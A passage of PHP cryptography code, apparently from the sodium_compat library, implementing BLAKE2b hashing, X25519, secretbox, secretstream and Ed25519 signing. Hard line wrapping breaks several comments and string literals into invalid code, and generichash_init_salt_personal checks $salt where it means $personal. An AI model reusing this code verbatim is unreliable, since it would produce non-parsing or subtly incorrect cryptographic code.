        if (ParagonIE_Sodium_Core32_Util::strlen($sKey) !==
ParagonIE_Sodium_Compat::CRYPTO_BOX_SECRETKEYBYTES) {
            throw new RangeException(
                'Must be
ParagonIE_Sodium_Compat::CRYPTO_BOX_SECRETKEYBYTES bytes long.'
            );
        }
        return self::scalarmult_base($sKey);
    }

    /**
     * Decrypt a message encrypted with box().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $ciphertext
     * @param string $nonce
     * @param string $keypair
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_open($ciphertext, $nonce, $keypair)
    {
        return self::secretbox_open(
            $ciphertext,
            $nonce,
            self::box_beforenm(
                self::box_secretkey($keypair),
                self::box_publickey($keypair)
            )
        );
    }

    /**
     * Calculate a BLAKE2b hash.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string|null $key
     * @param int $outlen
     * @return string
     * @throws RangeException
     * @throws SodiumException
     * @throws TypeError
     */
    public static function generichash($message, $key = '',
$outlen = 32)
    {
        // This ensures that ParagonIE_Sodium_Core32_BLAKE2b::$iv is
initialized
        ParagonIE_Sodium_Core32_BLAKE2b::pseudoConstructor();

        $k = null;
        if (!empty($key)) {
            /** @var SplFixedArray $k */
            $k =
ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($key);
            if ($k->count() >
ParagonIE_Sodium_Core32_BLAKE2b::KEYBYTES) {
                throw new RangeException('Invalid key size');
            }
        }

        /** @var SplFixedArray $in */
        $in =
ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($message);

        /** @var SplFixedArray $ctx */
        $ctx = ParagonIE_Sodium_Core32_BLAKE2b::init($k, $outlen);
        ParagonIE_Sodium_Core32_BLAKE2b::update($ctx, $in,
$in->count());

        /** @var SplFixedArray $out */
        $out = new SplFixedArray($outlen);
        $out = ParagonIE_Sodium_Core32_BLAKE2b::finish($ctx, $out);

        /** @var array<int, int> */
        $outArray = $out->toArray();
        return ParagonIE_Sodium_Core32_Util::intArrayToString($outArray);
    }

    /**
     * Finalize a BLAKE2b hashing context, returning the hash.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $ctx
     * @param int $outlen
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function generichash_final($ctx, $outlen = 32)
    {
        if (!is_string($ctx)) {
            throw new TypeError('Context must be a string');
        }
        $out = new SplFixedArray($outlen);

        /** @var SplFixedArray $context */
        $context = ParagonIE_Sodium_Core32_BLAKE2b::stringToContext($ctx);

        /** @var SplFixedArray $out */
        $out = ParagonIE_Sodium_Core32_BLAKE2b::finish($context, $out);

        /** @var array<int, int> */
        $outArray = $out->toArray();
        return ParagonIE_Sodium_Core32_Util::intArrayToString($outArray);
    }

    /**
     * Initialize a hashing context for BLAKE2b.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $key
     * @param int $outputLength
     * @return string
     * @throws RangeException
     * @throws SodiumException
     * @throws TypeError
     */
    public static function generichash_init($key = '',
$outputLength = 32)
    {
        // This ensures that ParagonIE_Sodium_Core32_BLAKE2b::$iv is
initialized
        ParagonIE_Sodium_Core32_BLAKE2b::pseudoConstructor();

        $k = null;
        if (!empty($key)) {
            $k =
ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($key);
            if ($k->count() >
ParagonIE_Sodium_Core32_BLAKE2b::KEYBYTES) {
                throw new RangeException('Invalid key size');
            }
        }

        /** @var SplFixedArray $ctx */
        $ctx = ParagonIE_Sodium_Core32_BLAKE2b::init($k, $outputLength);

        return ParagonIE_Sodium_Core32_BLAKE2b::contextToString($ctx);
    }

    /**
     * Initialize a hashing context for BLAKE2b.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $key
     * @param int $outputLength
     * @param string $salt
     * @param string $personal
     * @return string
     * @throws RangeException
     * @throws SodiumException
     * @throws TypeError
     */
    public static function generichash_init_salt_personal(
        $key = '',
        $outputLength = 32,
        $salt = '',
        $personal = ''
    ) {
        // This ensures that ParagonIE_Sodium_Core32_BLAKE2b::$iv is
initialized
        ParagonIE_Sodium_Core32_BLAKE2b::pseudoConstructor();

        $k = null;
        if (!empty($key)) {
            $k =
ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($key);
            if ($k->count() >
ParagonIE_Sodium_Core32_BLAKE2b::KEYBYTES) {
                throw new RangeException('Invalid key size');
            }
        }
        if (!empty($salt)) {
            $s =
ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($salt);
        } else {
            $s = null;
        }
        if (!empty($salt)) {
            $p =
ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($personal);
        } else {
            $p = null;
        }

        /** @var SplFixedArray $ctx */
        $ctx = ParagonIE_Sodium_Core32_BLAKE2b::init($k, $outputLength, $s,
$p);

        return ParagonIE_Sodium_Core32_BLAKE2b::contextToString($ctx);
    }

    /**
     * Update a hashing context for BLAKE2b with $message
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $ctx
     * @param string $message
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function generichash_update($ctx, $message)
    {
        // This ensures that ParagonIE_Sodium_Core32_BLAKE2b::$iv is
initialized
        ParagonIE_Sodium_Core32_BLAKE2b::pseudoConstructor();

        /** @var SplFixedArray $context */
        $context = ParagonIE_Sodium_Core32_BLAKE2b::stringToContext($ctx);

        /** @var SplFixedArray $in */
        $in =
ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($message);

        ParagonIE_Sodium_Core32_BLAKE2b::update($context, $in,
$in->count());

        return ParagonIE_Sodium_Core32_BLAKE2b::contextToString($context);
    }

    /**
     * Libsodium's crypto_kx().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $my_sk
     * @param string $their_pk
     * @param string $client_pk
     * @param string $server_pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function keyExchange($my_sk, $their_pk, $client_pk,
$server_pk)
    {
        return self::generichash(
            self::scalarmult($my_sk, $their_pk) .
            $client_pk .
            $server_pk
        );
    }

    /**
     * ECDH over Curve25519
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $sKey
     * @param string $pKey
     * @return string
     *
     * @throws SodiumException
     * @throws TypeError
     */
    public static function scalarmult($sKey, $pKey)
    {
        $q =
ParagonIE_Sodium_Core32_X25519::crypto_scalarmult_curve25519_ref10($sKey,
$pKey);
        self::scalarmult_throw_if_zero($q);
        return $q;
    }

    /**
     * ECDH over Curve25519, using the basepoint.
     * Used to get a secret key from a public key.
     *
     * @param string $secret
     * @return string
     *
     * @throws SodiumException
     * @throws TypeError
     */
    public static function scalarmult_base($secret)
    {
        $q =
ParagonIE_Sodium_Core32_X25519::crypto_scalarmult_curve25519_ref10_base($secret);
        self::scalarmult_throw_if_zero($q);
        return $q;
    }

    /**
     * This throws an Error if a zero public key was passed to the
function.
     *
     * @param string $q
     * @return void
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function scalarmult_throw_if_zero($q)
    {
        $d = 0;
        for ($i = 0; $i <
self::box_curve25519xsalsa20poly1305_SECRETKEYBYTES; ++$i) {
            $d |= ParagonIE_Sodium_Core32_Util::chrToInt($q[$i]);
        }

        /* branch-free variant of === 0 */
        if (-(1 & (($d - 1) >> 8))) {
            throw new SodiumException('Zero public key is not
allowed');
        }
    }

    /**
     * XSalsa20-Poly1305 authenticated symmetric-key encryption.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $plaintext
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox($plaintext, $nonce, $key)
    {
        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $block0 */
        $block0 = str_repeat("\x00", 32);

        /** @var int $mlen - Length of the plaintext message */
        $mlen = ParagonIE_Sodium_Core32_Util::strlen($plaintext);
        $mlen0 = $mlen;
        if ($mlen0 > 64 - self::secretbox_xsalsa20poly1305_ZEROBYTES) {
            $mlen0 = 64 - self::secretbox_xsalsa20poly1305_ZEROBYTES;
        }
        $block0 .= ParagonIE_Sodium_Core32_Util::substr($plaintext, 0,
$mlen0);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor(
            $block0,
            ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8),
            $subkey
        );

        /** @var string $c */
        $c = ParagonIE_Sodium_Core32_Util::substr(
            $block0,
            self::secretbox_xsalsa20poly1305_ZEROBYTES
        );
        if ($mlen > $mlen0) {
            $c .= ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic(
                ParagonIE_Sodium_Core32_Util::substr(
                    $plaintext,
                    self::secretbox_xsalsa20poly1305_ZEROBYTES
                ),
                ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8),
                1,
                $subkey
            );
        }
        $state = new ParagonIE_Sodium_Core32_Poly1305_State(
            ParagonIE_Sodium_Core32_Util::substr(
                $block0,
                0,
                self::onetimeauth_poly1305_KEYBYTES
            )
        );
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
            ParagonIE_Sodium_Compat::memzero($subkey);
        } catch (SodiumException $ex) {
            $block0 = null;
            $subkey = null;
        }

        $state->update($c);

        /** @var string $c - MAC || ciphertext */
        $c = $state->finish() . $c;
        unset($state);

        return $c;
    }

    /**
     * Decrypt a ciphertext generated via secretbox().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $ciphertext
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox_open($ciphertext, $nonce, $key)
    {
        /** @var string $mac */
        $mac = ParagonIE_Sodium_Core32_Util::substr(
            $ciphertext,
            0,
            self::secretbox_xsalsa20poly1305_MACBYTES
        );

        /** @var string $c */
        $c = ParagonIE_Sodium_Core32_Util::substr(
            $ciphertext,
            self::secretbox_xsalsa20poly1305_MACBYTES
        );

        /** @var int $clen */
        $clen = ParagonIE_Sodium_Core32_Util::strlen($c);

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20(
            64,
            ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8),
            $subkey
        );
        $verified = ParagonIE_Sodium_Core32_Poly1305::onetimeauth_verify(
            $mac,
            $c,
            ParagonIE_Sodium_Core32_Util::substr($block0, 0, 32)
        );
        if (!$verified) {
            try {
                ParagonIE_Sodium_Compat::memzero($subkey);
            } catch (SodiumException $ex) {
                $subkey = null;
            }
            throw new SodiumException('Invalid MAC');
        }

        /** @var string $m - Decrypted message */
        $m = ParagonIE_Sodium_Core32_Util::xorStrings(
            ParagonIE_Sodium_Core32_Util::substr($block0,
self::secretbox_xsalsa20poly1305_ZEROBYTES),
            ParagonIE_Sodium_Core32_Util::substr($c, 0,
self::secretbox_xsalsa20poly1305_ZEROBYTES)
        );
        if ($clen > self::secretbox_xsalsa20poly1305_ZEROBYTES) {
            // We had more than 1 block, so let's continue to decrypt
the rest.
            $m .= ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic(
                ParagonIE_Sodium_Core32_Util::substr(
                    $c,
                    self::secretbox_xsalsa20poly1305_ZEROBYTES
                ),
                ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8),
                1,
                (string) $subkey
            );
        }
        return $m;
    }

    /**
     * XChaCha20-Poly1305 authenticated symmetric-key encryption.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $plaintext
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox_xchacha20poly1305($plaintext, $nonce,
$key)
    {
        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core32_HChaCha20::hChaCha20(
            ParagonIE_Sodium_Core32_Util::substr($nonce, 0, 16),
            $key
        );
        $nonceLast = ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8);

        /** @var string $block0 */
        $block0 = str_repeat("\x00", 32);

        /** @var int $mlen - Length of the plaintext message */
        $mlen = ParagonIE_Sodium_Core32_Util::strlen($plaintext);
        $mlen0 = $mlen;
        if ($mlen0 > 64 - self::secretbox_xchacha20poly1305_ZEROBYTES) {
            $mlen0 = 64 - self::secretbox_xchacha20poly1305_ZEROBYTES;
        }
        $block0 .= ParagonIE_Sodium_Core32_Util::substr($plaintext, 0,
$mlen0);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core32_ChaCha20::streamXorIc(
            $block0,
            $nonceLast,
            $subkey
        );

        /** @var string $c */
        $c = ParagonIE_Sodium_Core32_Util::substr(
            $block0,
            self::secretbox_xchacha20poly1305_ZEROBYTES
        );
        if ($mlen > $mlen0) {
            $c .= ParagonIE_Sodium_Core32_ChaCha20::streamXorIc(
                ParagonIE_Sodium_Core32_Util::substr(
                    $plaintext,
                    self::secretbox_xchacha20poly1305_ZEROBYTES
                ),
                $nonceLast,
                $subkey,
                ParagonIE_Sodium_Core32_Util::store64_le(1)
            );
        }
        $state = new ParagonIE_Sodium_Core32_Poly1305_State(
            ParagonIE_Sodium_Core32_Util::substr(
                $block0,
                0,
                self::onetimeauth_poly1305_KEYBYTES
            )
        );
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
            ParagonIE_Sodium_Compat::memzero($subkey);
        } catch (SodiumException $ex) {
            $block0 = null;
            $subkey = null;
        }

        $state->update($c);

        /** @var string $c - MAC || ciphertext */
        $c = $state->finish() . $c;
        unset($state);

        return $c;
    }

    /**
     * Decrypt a ciphertext generated via secretbox_xchacha20poly1305().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $ciphertext
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox_xchacha20poly1305_open($ciphertext,
$nonce, $key)
    {
        /** @var string $mac */
        $mac = ParagonIE_Sodium_Core32_Util::substr(
            $ciphertext,
            0,
            self::secretbox_xchacha20poly1305_MACBYTES
        );

        /** @var string $c */
        $c = ParagonIE_Sodium_Core32_Util::substr(
            $ciphertext,
            self::secretbox_xchacha20poly1305_MACBYTES
        );

        /** @var int $clen */
        $clen = ParagonIE_Sodium_Core32_Util::strlen($c);

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core32_HChaCha20::hchacha20($nonce,
$key);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core32_ChaCha20::stream(
            64,
            ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8),
            $subkey
        );
        $verified = ParagonIE_Sodium_Core32_Poly1305::onetimeauth_verify(
            $mac,
            $c,
            ParagonIE_Sodium_Core32_Util::substr($block0, 0, 32)
        );

        if (!$verified) {
            try {
                ParagonIE_Sodium_Compat::memzero($subkey);
            } catch (SodiumException $ex) {
                $subkey = null;
            }
            throw new SodiumException('Invalid MAC');
        }

        /** @var string $m - Decrypted message */
        $m = ParagonIE_Sodium_Core32_Util::xorStrings(
            ParagonIE_Sodium_Core32_Util::substr($block0,
self::secretbox_xchacha20poly1305_ZEROBYTES),
            ParagonIE_Sodium_Core32_Util::substr($c, 0,
self::secretbox_xchacha20poly1305_ZEROBYTES)
        );

        if ($clen > self::secretbox_xchacha20poly1305_ZEROBYTES) {
            // We had more than 1 block, so let's continue to decrypt
the rest.
            $m .= ParagonIE_Sodium_Core32_ChaCha20::streamXorIc(
                ParagonIE_Sodium_Core32_Util::substr(
                    $c,
                    self::secretbox_xchacha20poly1305_ZEROBYTES
                ),
                ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8),
                (string) $subkey,
                ParagonIE_Sodium_Core32_Util::store64_le(1)
            );
        }
        return $m;
    }

    /**
     * @param string $key
     * @return array<int, string> Returns a state and a header.
     * @throws Exception
     * @throws SodiumException
     */
    public static function secretstream_xchacha20poly1305_init_push($key)
    {
        # randombytes_buf(out,
crypto_secretstream_xchacha20poly1305_HEADERBYTES);
        $out = random_bytes(24);

        # crypto_core_hchacha20(state->k, out, k, NULL);
        $subkey = ParagonIE_Sodium_Core32_HChaCha20::hChaCha20($out, $key);
        $state = new ParagonIE_Sodium_Core32_SecretStream_State(
            $subkey,
            ParagonIE_Sodium_Core32_Util::substr($out, 16, 8) .
str_repeat("\0", 4)
        );

        # _crypto_secretstream_xchacha20poly1305_counter_reset(state);
        $state->counterReset();

        # memcpy(STATE_INONCE(state), out +
crypto_core_hchacha20_INPUTBYTES,
        #        crypto_secretstream_xchacha20poly1305_INONCEBYTES);
        # memset(state->_pad, 0, sizeof state->_pad);
        return array(
            $state->toString(),
            $out
        );
    }

    /**
     * @param string $key
     * @param string $header
     * @return string Returns a state.
     * @throws Exception
     */
    public static function secretstream_xchacha20poly1305_init_pull($key,
$header)
    {
        # crypto_core_hchacha20(state->k, in, k, NULL);
        $subkey = ParagonIE_Sodium_Core32_HChaCha20::hChaCha20(
            ParagonIE_Sodium_Core32_Util::substr($header, 0, 16),
            $key
        );
        $state = new ParagonIE_Sodium_Core32_SecretStream_State(
            $subkey,
            ParagonIE_Sodium_Core32_Util::substr($header, 16)
        );
        $state->counterReset();
        # memcpy(STATE_INONCE(state), in +
crypto_core_hchacha20_INPUTBYTES,
        #     crypto_secretstream_xchacha20poly1305_INONCEBYTES);
        # memset(state->_pad, 0, sizeof state->_pad);
        # return 0;
        return $state->toString();
    }

    /**
     * @param string $state
     * @param string $msg
     * @param string $aad
     * @param int $tag
     * @return string
     * @throws SodiumException
     */
    public static function secretstream_xchacha20poly1305_push(&$state,
$msg, $aad = '', $tag = 0)
    {
        $st =
ParagonIE_Sodium_Core32_SecretStream_State::fromString($state);
        # crypto_onetimeauth_poly1305_state poly1305_state;
        # unsigned char                     block[64U];
        # unsigned char                     slen[8U];
        # unsigned char                    *c;
        # unsigned char                    *mac;

        $msglen = ParagonIE_Sodium_Core32_Util::strlen($msg);
        $aadlen = ParagonIE_Sodium_Core32_Util::strlen($aad);

        if ((($msglen + 63) >> 6) > 0xfffffffe) {
            throw new SodiumException(
                'message cannot be larger than
SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX bytes'
            );
        }

        # if (outlen_p != NULL) {
        #     *outlen_p = 0U;
        # }
        # if (mlen >
crypto_secretstream_xchacha20poly1305_MESSAGEBYTES_MAX) {
        #     sodium_misuse();
        # }

        # crypto_stream_chacha20_ietf(block, sizeof block, state->nonce,
state->k);
        # crypto_onetimeauth_poly1305_init(&poly1305_state, block);
        # sodium_memzero(block, sizeof block);
        $auth = new ParagonIE_Sodium_Core32_Poly1305_State(
            ParagonIE_Sodium_Core32_ChaCha20::ietfStream(32,
$st->getCombinedNonce(), $st->getKey())
        );

        # crypto_onetimeauth_poly1305_update(&poly1305_state, ad,
adlen);
        $auth->update($aad);

        # crypto_onetimeauth_poly1305_update(&poly1305_state, _pad0,
        #     (0x10 - adlen) & 0xf);
        $auth->update(str_repeat("\0", ((0x10 - $aadlen) &
0xf)));

        # memset(block, 0, sizeof block);
        # block[0] = tag;
        # crypto_stream_chacha20_ietf_xor_ic(block, block, sizeof block,
        #                                    state->nonce, 1U,
state->k);
        $block = ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc(
            ParagonIE_Sodium_Core32_Util::intToChr($tag) .
str_repeat("\0", 63),
            $st->getCombinedNonce(),
            $st->getKey(),
            ParagonIE_Sodium_Core32_Util::store64_le(1)
        );

        # crypto_onetimeauth_poly1305_update(&poly1305_state, block,
sizeof block);
        $auth->update($block);

        # out[0] = block[0];
        $out = $block[0];
        # c = out + (sizeof tag);
        # crypto_stream_chacha20_ietf_xor_ic(c, m, mlen, state->nonce,
2U, state->k);
        $cipher = ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc(
            $msg,
            $st->getCombinedNonce(),
            $st->getKey(),
            ParagonIE_Sodium_Core32_Util::store64_le(2)
        );

        # crypto_onetimeauth_poly1305_update(&poly1305_state, c, mlen);
        $auth->update($cipher);

        $out .= $cipher;
        unset($cipher);

        # crypto_onetimeauth_poly1305_update
        # (&poly1305_state, _pad0, (0x10 - (sizeof block) + mlen) &
0xf);
        $auth->update(str_repeat("\0", ((0x10 - 64 + $msglen)
& 0xf)));

        # STORE64_LE(slen, (uint64_t) adlen);
        $slen = ParagonIE_Sodium_Core32_Util::store64_le($aadlen);

        # crypto_onetimeauth_poly1305_update(&poly1305_state, slen,
sizeof slen);
        $auth->update($slen);

        # STORE64_LE(slen, (sizeof block) + mlen);
        $slen = ParagonIE_Sodium_Core32_Util::store64_le(64 + $msglen);

        # crypto_onetimeauth_poly1305_update(&poly1305_state, slen,
sizeof slen);
        $auth->update($slen);

        # mac = c + mlen;
        # crypto_onetimeauth_poly1305_final(&poly1305_state, mac);
        $mac = $auth->finish();
        $out .= $mac;

        # sodium_memzero(&poly1305_state, sizeof poly1305_state);
        unset($auth);


        # XOR_BUF(STATE_INONCE(state), mac,
        #     crypto_secretstream_xchacha20poly1305_INONCEBYTES);
        $st->xorNonce($mac);

        # sodium_increment(STATE_COUNTER(state),
        #     crypto_secretstream_xchacha20poly1305_COUNTERBYTES);
        $st->incrementCounter();
        // Overwrite by reference:
        $state = $st->toString();

        /** @var bool $rekey */
        $rekey = ($tag &
ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY)
!== 0;
        # if ((tag & crypto_secretstream_xchacha20poly1305_TAG_REKEY)
!= 0 ||
        #     sodium_is_zero(STATE_COUNTER(state),
        #         crypto_secretstream_xchacha20poly1305_COUNTERBYTES)) {
        #     crypto_secretstream_xchacha20poly1305_rekey(state);
        # }
        if ($rekey || $st->needsRekey()) {
            // DO REKEY
            self::secretstream_xchacha20poly1305_rekey($state);
        }
        # if (outlen_p != NULL) {
        #     *outlen_p = crypto_secretstream_xchacha20poly1305_ABYTES +
mlen;
        # }
        return $out;
    }

    /**
     * @param string $state
     * @param string $cipher
     * @param string $aad
     * @return bool|array{0: string, 1: int}
     * @throws SodiumException
     */
    public static function secretstream_xchacha20poly1305_pull(&$state,
$cipher, $aad = '')
    {
        $st =
ParagonIE_Sodium_Core32_SecretStream_State::fromString($state);

        $cipherlen = ParagonIE_Sodium_Core32_Util::strlen($cipher);
        #     mlen = inlen - crypto_secretstream_xchacha20poly1305_ABYTES;
        $msglen = $cipherlen -
ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES;
        $aadlen = ParagonIE_Sodium_Core32_Util::strlen($aad);

        #     if (mlen >
crypto_secretstream_xchacha20poly1305_MESSAGEBYTES_MAX) {
        #         sodium_misuse();
        #     }
        if ((($msglen + 63) >> 6) > 0xfffffffe) {
            throw new SodiumException(
                'message cannot be larger than
SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX bytes'
            );
        }

        #     crypto_stream_chacha20_ietf(block, sizeof block,
state->nonce, state->k);
        #     crypto_onetimeauth_poly1305_init(&poly1305_state, block);
        #     sodium_memzero(block, sizeof block);
        $auth = new ParagonIE_Sodium_Core32_Poly1305_State(
            ParagonIE_Sodium_Core32_ChaCha20::ietfStream(32,
$st->getCombinedNonce(), $st->getKey())
        );

        #     crypto_onetimeauth_poly1305_update(&poly1305_state, ad,
adlen);
        $auth->update($aad);

        #     crypto_onetimeauth_poly1305_update(&poly1305_state,
_pad0,
        #         (0x10 - adlen) & 0xf);
        $auth->update(str_repeat("\0", ((0x10 - $aadlen) &
0xf)));


        #     memset(block, 0, sizeof block);
        #     block[0] = in[0];
        #     crypto_stream_chacha20_ietf_xor_ic(block, block, sizeof
block,
        #                                        state->nonce, 1U,
state->k);
        $block = ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc(
            $cipher[0] . str_repeat("\0", 63),
            $st->getCombinedNonce(),
            $st->getKey(),
            ParagonIE_Sodium_Core32_Util::store64_le(1)
        );
        #     tag = block[0];
        #     block[0] = in[0];
        #     crypto_onetimeauth_poly1305_update(&poly1305_state,
block, sizeof block);
        $tag = ParagonIE_Sodium_Core32_Util::chrToInt($block[0]);
        $block[0] = $cipher[0];
        $auth->update($block);


        #     c = in + (sizeof tag);
        #     crypto_onetimeauth_poly1305_update(&poly1305_state, c,
mlen);
        $auth->update(ParagonIE_Sodium_Core32_Util::substr($cipher, 1,
$msglen));

        #     crypto_onetimeauth_poly1305_update
        #     (&poly1305_state, _pad0, (0x10 - (sizeof block) + mlen)
& 0xf);
        $auth->update(str_repeat("\0", ((0x10 - 64 + $msglen)
& 0xf)));

        #     STORE64_LE(slen, (uint64_t) adlen);
        #     crypto_onetimeauth_poly1305_update(&poly1305_state, slen,
sizeof slen);
        $slen = ParagonIE_Sodium_Core32_Util::store64_le($aadlen);
        $auth->update($slen);

        #     STORE64_LE(slen, (sizeof block) + mlen);
        #     crypto_onetimeauth_poly1305_update(&poly1305_state, slen,
sizeof slen);
        $slen = ParagonIE_Sodium_Core32_Util::store64_le(64 + $msglen);
        $auth->update($slen);

        #     crypto_onetimeauth_poly1305_final(&poly1305_state, mac);
        #     sodium_memzero(&poly1305_state, sizeof poly1305_state);
        $mac = $auth->finish();

        #     stored_mac = c + mlen;
        #     if (sodium_memcmp(mac, stored_mac, sizeof mac) != 0) {
        #     sodium_memzero(mac, sizeof mac);
        #         return -1;
        #     }

        $stored = ParagonIE_Sodium_Core32_Util::substr($cipher, $msglen +
1, 16);
        if (!ParagonIE_Sodium_Core32_Util::hashEquals($mac, $stored)) {
            return false;
        }

        #     crypto_stream_chacha20_ietf_xor_ic(m, c, mlen,
state->nonce, 2U, state->k);
        $out = ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc(
            ParagonIE_Sodium_Core32_Util::substr($cipher, 1, $msglen),
            $st->getCombinedNonce(),
            $st->getKey(),
            ParagonIE_Sodium_Core32_Util::store64_le(2)
        );

        #     XOR_BUF(STATE_INONCE(state), mac,
        #         crypto_secretstream_xchacha20poly1305_INONCEBYTES);
        $st->xorNonce($mac);

        #     sodium_increment(STATE_COUNTER(state),
        #         crypto_secretstream_xchacha20poly1305_COUNTERBYTES);
        $st->incrementCounter();

        #     if ((tag &
crypto_secretstream_xchacha20poly1305_TAG_REKEY) != 0 ||
        #         sodium_is_zero(STATE_COUNTER(state),
        #             crypto_secretstream_xchacha20poly1305_COUNTERBYTES))
{
        #         crypto_secretstream_xchacha20poly1305_rekey(state);
        #     }

        // Overwrite by reference:
        $state = $st->toString();

        /** @var bool $rekey */
        $rekey = ($tag &
ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY)
!== 0;
        if ($rekey || $st->needsRekey()) {
            // DO REKEY
            self::secretstream_xchacha20poly1305_rekey($state);
        }
        return array($out, $tag);
    }

    /**
     * @param string $state
     * @return void
     * @throws SodiumException
     */
    public static function
secretstream_xchacha20poly1305_rekey(&$state)
    {
        $st =
ParagonIE_Sodium_Core32_SecretStream_State::fromString($state);
        # unsigned char
new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES +
        # crypto_secretstream_xchacha20poly1305_INONCEBYTES];
        # size_t        i;
        # for (i = 0U; i < crypto_stream_chacha20_ietf_KEYBYTES; i++) {
        #     new_key_and_inonce[i] = state->k[i];
        # }
        $new_key_and_inonce = $st->getKey();

        # for (i = 0U; i <
crypto_secretstream_xchacha20poly1305_INONCEBYTES; i++) {
        #     new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES + i]
=
        #         STATE_INONCE(state)[i];
        # }
        $new_key_and_inonce .=
ParagonIE_Sodium_Core32_Util::substR($st->getNonce(), 0, 8);

        # crypto_stream_chacha20_ietf_xor(new_key_and_inonce,
new_key_and_inonce,
        #                                 sizeof new_key_and_inonce,
        #                                 state->nonce, state->k);

        $st->rekey(ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc(
            $new_key_and_inonce,
            $st->getCombinedNonce(),
            $st->getKey(),
            ParagonIE_Sodium_Core32_Util::store64_le(0)
        ));

        # for (i = 0U; i < crypto_stream_chacha20_ietf_KEYBYTES; i++) {
        #     state->k[i] = new_key_and_inonce[i];
        # }
        # for (i = 0U; i <
crypto_secretstream_xchacha20poly1305_INONCEBYTES; i++) {
        #     STATE_INONCE(state)[i] =
        #          new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES
+ i];
        # }
        # _crypto_secretstream_xchacha20poly1305_counter_reset(state);
        $st->counterReset();

        $state = $st->toString();
    }

    /**
     * Detached Ed25519 signature.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign_detached($message, $sk)
    {
        return ParagonIE_Sodium_Core32_Ed25519::sign_detached($message,
$sk);
    }

    /**
     * Attached Ed25519 signature. (Returns a signed message.)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign($message, $sk)
    {
        return ParagonIE_Sodium_Core32_Ed25519::sign($message, $sk);
    }

    /**
     * Opens a signed message. If valid, returns the message.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $signedMessage
     * @param string $pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
